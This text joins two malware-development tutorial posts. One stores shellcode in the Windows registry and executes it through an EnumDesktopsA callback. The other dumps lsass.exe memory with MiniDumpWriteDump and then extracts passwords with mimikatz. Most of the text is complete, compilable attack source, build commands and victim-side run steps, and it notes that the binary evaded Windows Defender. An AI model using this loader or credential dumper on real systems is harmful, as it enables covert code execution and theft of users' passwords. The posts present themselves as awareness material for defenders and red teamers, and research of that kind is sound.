void registryStore() {
  HKEY hkey;

  const unsigned char data[] =
    "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
    "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
    "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
    "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
    "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
    "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
    "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
    "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
    "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
    "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
    "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
    "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
    "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
    "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
    "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
    "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
    "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
    "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
    "\x2e\x2e\x5e\x3d\x00";

  DWORD d;
  const char* secret = "Software\\meowApp";

  LSTATUS res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
  printf (res != ERROR_SUCCESS ? "failed to create reg key :(\n" : "successfully create key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)"secretMeow", 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  RegCloseKey(hkey);
}

As usually, I used meow-meow messagebox payload:

const unsigned char data[] =
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

Then, retrieve shellcode and execute via EnumDesktopsA:

void registryGetData() {
  HKEY hkey;
  DWORD size = 0;
  const char* secret = "Software\\meowApp";

  LSTATUS res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)secret, 0, KEY_READ, &hkey);
  printf(res != ERROR_SUCCESS ? "failed to open reg key :(\n" : "successfully open reg key:)\n");

  res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, nullptr, &size);
  printf(res != ERROR_SUCCESS ? "failed to query data size :(\n" : "successfully get binary data size:)\n");

  // allocate memory for the data
  LPVOID data = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, static_cast<LPBYTE>(data), &size);
  printf(res != ERROR_SUCCESS ? "failed to query data :(\n" : "successfully get binary data:)\n");

  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)data, (LPARAM)NULL);

  // clean up
  VirtualFree(data, 0, MEM_RELEASE);
  RegCloseKey(hkey);
}

So, full source code for our second example is:

/*
 * hack.cpp - store binary data in registry. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html
*/
#include <windows.h>
#include <stdio.h>
#include <iostream>

void registryStore() {
  HKEY hkey;
  BYTE data[] = {0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77};

  DWORD d;
  const char* secret = "Software\\meowApp";

  LSTATUS res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
  printf (res != ERROR_SUCCESS ? "failed to create reg key :(\n" : "successfully create key :)\n");

  res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, KEY_WRITE, &hkey);
  printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)"secretMeow", 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  RegCloseKey(hkey);
}

void registryGetData() {
  HKEY hkey;
  DWORD size = 0;
  const char* secret = "Software\\meowApp";

  LSTATUS res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)secret, 0, KEY_READ, &hkey);
  printf(res != ERROR_SUCCESS ? "failed to open reg key :(\n" : "successfully open reg key:)\n");

  res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, nullptr, &size);
  printf(res != ERROR_SUCCESS ? "failed to query data size :(\n" : "successfully get binary data size:)\n");

  // allocate memory for the data
  BYTE *data = new BYTE[size];

  res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, data, &size);
  printf(res != ERROR_SUCCESS ? "failed to query data :(\n" : "successfully get binary data:)\n");

  printf("data:\n");
  for (int i = 0; i < size; i++) {
    printf("\\x%02x", static_cast<int>(data[i]));
  }
  printf("\n\n");

  RegCloseKey(hkey);
  delete[] data;
}

int main(void) {
  registryStore();
  registryGetData();
  return 0;
}

demo 2

Let’s go to see in action this logic. First of all compile hack2.cpp:

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

malw-tricks

Then, just run powershell as Administrator and execute our binary in victim’s machine (Windows 10 22H2 x64):

.\hack2.exe

malw-tricks

malw-tricks

As you can see, everything is worked as expected! =^..^=

This method of executing code is often used by malicious software (for example ComRAT, PillowMint and PipeMon) and APT groups (Turla), so it’s likely to be flagged by antivirus software, and may not work on systems with certain security measures in place.

Let’s go to upload it to VirusTotal:

malw-tricks

https://www.virustotal.com/gui/file/fe7e412aef1af9dee801224567151f7eaa17ffdbc8c1e97202b4faccb53100e8/details

So, 16 of of 70 AV engines detect our file as malicious.

I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

RegCreateKeyEx
RegOpenKeyEx
RegSetValueEx
EnumDesktopsA
MITTRE ATT&CK: Fileless Storage
ComRAT
PillowMint
PipeMon
Turla
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development trick - part 28: Dump lsass.exe. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

av-evasion

Today, I want to show how we can dumping Lsass without Mimikatz: via MiniDumpWriteDump API. Since mimikatz is a very famous tool and easy to detect, hackers find new tricks to reimplement some features from it’s logic.

practical example

So, how we can write a simple lsass.exe process dumper? We use MiniDumpWriteDump:

BOOL MiniDumpWriteDump(
  [in] HANDLE                            hProcess,
  [in] DWORD                             ProcessId,
  [in] HANDLE                            hFile,
  [in] MINIDUMP_TYPE                     DumpType,
  [in] PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,
  [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
  [in] PMINIDUMP_CALLBACK_INFORMATION    CallbackParam
);

The MiniDumpWriteDump function is a Windows API function that creates a minidump file, which is a small snapshot of the application state at the time the function is called. This file can be useful for debugging purposes, as it contains the exception information, a list of loaded DLLs, stack information, and other system state information.

First of all, we find lsass.exe process, via function like this:

int findMyProc(const char *procname) {

  HANDLE hSnapshot;
  PROCESSENTRY32 pe;
  int pid = 0;
  BOOL hResult;

  // snapshot of all processes in the system
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

  // initializing size: needed for using Process32First
  pe.dwSize = sizeof(PROCESSENTRY32);

  // info about first process encountered in a system snapshot
  hResult = Process32First(hSnapshot, &pe);

  // retrieve information about the processes
  // and exit if unsuccessful
  while (hResult) {
    // if we find the process: return process ID
    if (strcmp(procname, pe.szExeFile) == 0) {
      pid = pe.th32ProcessID;
      break;
    }
    hResult = Process32Next(hSnapshot, &pe);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(hSnapshot);
  return pid;
}

It is necessary to have SeDebugPrivilege privilege to dump LSASS as an attacker:

// set privilege
BOOL setPrivilege(LPCTSTR priv) {
  HANDLE token;
  TOKEN_PRIVILEGES tp;
  LUID luid;
  BOOL res = TRUE;

  if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;

  tp.PrivilegeCount = 1;
  tp.Privileges[0].Luid = luid;
  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;
  if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
  printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv);
  return res;
}

Then, create dump:

// minidump lsass.exe
BOOL createMiniDump() {
  bool dumped = FALSE;
  int pid = findMyProc("lsass.exe");
  HANDLE ph = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, pid);
  HANDLE out = CreateFile((LPCTSTR)"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (ph && out != INVALID_HANDLE_VALUE) {
    dumped = MiniDumpWriteDump(ph, pid, out, (MINIDUMP_TYPE)0x00000002, NULL, NULL, NULL);
    printf(dumped ? "successfully dumped to lsaas.dmp :)\n" : "failed to dump :(\n");
  } 
  return dumped; 
}

So, the full source code is looks like this hack.cpp:

/*
 * hack.cpp - Dump lsass without mimikatz. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/tutorial/2023/05/11/malware-tricks-28.html
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")

int findMyProc(const char *procname) {

  HANDLE hSnapshot;
  PROCESSENTRY32 pe;
  int pid = 0;
  BOOL hResult;

  // snapshot of all processes in the system
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

  // initializing size: needed for using Process32First
  pe.dwSize = sizeof(PROCESSENTRY32);

  // info about first process encountered in a system snapshot
  hResult = Process32First(hSnapshot, &pe);

  // retrieve information about the processes
  // and exit if unsuccessful
  while (hResult) {
    // if we find the process: return process ID
    if (strcmp(procname, pe.szExeFile) == 0) {
      pid = pe.th32ProcessID;
      break;
    }
    hResult = Process32Next(hSnapshot, &pe);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(hSnapshot);
  return pid;
}

// set privilege
BOOL setPrivilege(LPCTSTR priv) {
  HANDLE token;
  TOKEN_PRIVILEGES tp;
  LUID luid;
  BOOL res = TRUE;

  if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;

  tp.PrivilegeCount = 1;
  tp.Privileges[0].Luid = luid;
  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;
  if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
  printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv);
  return res;
}

// minidump lsass.exe
BOOL createMiniDump() {
  bool dumped = FALSE;
  int pid = findMyProc("lsass.exe");
  HANDLE ph = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, pid);
  HANDLE out = CreateFile((LPCTSTR)"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (ph && out != INVALID_HANDLE_VALUE) {
    dumped = MiniDumpWriteDump(ph, pid, out, (MINIDUMP_TYPE)0x00000002, NULL, NULL, NULL);
    printf(dumped ? "successfully dumped to lsaas.dmp :)\n" : "failed to dump :(\n");
  } 
  return dumped; 
}

int main(int argc, char* argv[]) {
  if (!setPrivilege(SE_DEBUG_NAME)) return -1;
  if (!createMiniDump()) return -1;
  return 0;
}

As you can see, do not forget to add dbghelp.lib as a dependency:

#pragma comment (lib, "dbghelp.lib")

demo

Let’s go to see everything in action. Compile our dumper at the attacker’s machine (kali x64):

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -ldbghelp

av-evasion

Then, execute it at the victim’s machine (windows 10 x64 in my case):

.\hack.exe

av-evasion

As you can see, lsass.dmp gets dumped to the working directory: C:\\temp\.

Then, open mimikatz load in the dump file and dump passwords:

.\mimikatz.exe
sekurlsa::minidump c:\temp\lsass.dmp
sekurlsa::logonpasswords

av-evasion

av-evasion

Interesting moment: not work in mimikatz v2.2.0 on my Windows:

av-evasion

Note that Windows Defender on Windows 10 is flagging up mimikatz immediately… but allows running hack.exe.

So, what’s the trick? We can create an attack in this following path:

  • execute hack.exe on victim’s machine
  • so, lsass.dmp gets dumped to the working directory
  • take the lsass.dmp offline to our attacking windows machine
  • open mimikatz and load in the dump file
  • dump passwords of victim’s machine (on attacker’s machine)!

This is just one of the methods, I will try to tell about the another in the future.

This trick is used many APTs and hacking tools in the wild. For example, Cobalt Strike can spawn a job to inject into LSASS memory and dump password hashes. Fox Kitten and HAFNIUM used procdump to dump the LSASS process memory.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK - OS Credential Dumping: LSASS Memory
APT3
Cobalt Strike
Fox Kitten
HAFNIUM
mimikatz
MiniDumpWriteDump
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

❌